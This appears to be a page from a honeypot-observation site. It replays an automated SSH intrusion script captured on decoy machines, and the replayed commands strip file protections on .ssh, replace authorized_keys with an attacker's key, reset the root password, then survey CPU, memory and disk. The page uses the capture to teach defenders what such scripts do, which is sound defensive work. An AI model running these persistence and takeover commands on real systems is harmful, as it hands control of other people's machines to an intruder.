honeypot.observer

What people type when they think nobody’s watching.

Decoy computers record what visitors try. These sessions are re-staged from common commands.

Re-staged

Moving in

1 / 3
What to watch for

The script tries to replace login access, then measures the machine.

Nobody typed this. The same script arrived from more than 700 addresses.

root@shell-01 — ssh
root@shell-01 ~ # cd ~; chattr -ia .ssh; lockr -ia .sshroot@shell-01 ~ # cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa [key-1] [comment]">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~root@shell-01 ~ # cat /proc/cpuinfo | grep name | wc -l4root@shell-01 ~ # echo -e "123456\n[pass-1]\n[pass-1]"|passwd|bashpasswd: password updated successfullyroot@shell-01 ~ # echo "123456\n[pass-1]\n[pass-1]\n"|passwdpasswd: password updated successfullyroot@shell-01 ~ # cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'── reply withheld ──root@shell-01 ~ # free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'7951 1204 5310 12 1436 6480root@shell-01 ~ # ls -lh $(which ls)── reply withheld ──root@shell-01 ~ # crontab -lno crontab for rootroot@shell-01 ~ # w1 userroot@shell-01 ~ # uname -mx86_64root@shell-01 ~ # cat /proc/cpuinfo | grep model | grep name | wc -l4root@shell-01 ~ # top── reply withheld ──root@shell-01 ~ # uname── reply withheld ──root@shell-01 ~ # uname -a── reply withheld ──root@shell-01 ~ # whoamirootroot@shell-01 ~ # lscpu | grep Model── reply withheld ──root@shell-01 ~ # df -h | head -n 2 | awk 'FNR == 2 {print $2;}'80G

Replies come from a stand-in machine, not the decoy. Timing is illustrative, and a reply is no proof anything worked.

Focus the terminal to use Space to play or pause, and the arrow keys to move by one second.

Nobody’s Machine.

Six essays on making a machine worth visiting, and learning to read what happens next.

All writing
  1. 01Give your honeypot a reason to exist4 min read
  2. 02Plant something worth stealing4 min read
  3. 03Actually read what you caught4 min read
  4. 04Stop looking like a honeypot4 min read
  5. 05Run the loop4 min read
  6. 06When the thing knocking is an AI5 min read

Built to fail closed.

Six stages from decoy to public page, each with a boundary it has to keep.

Inside the machine

Observed so far.

Sessions observed
355,256
Source addresses
76,243

Observed to .
Attempted activity, never assumed successful.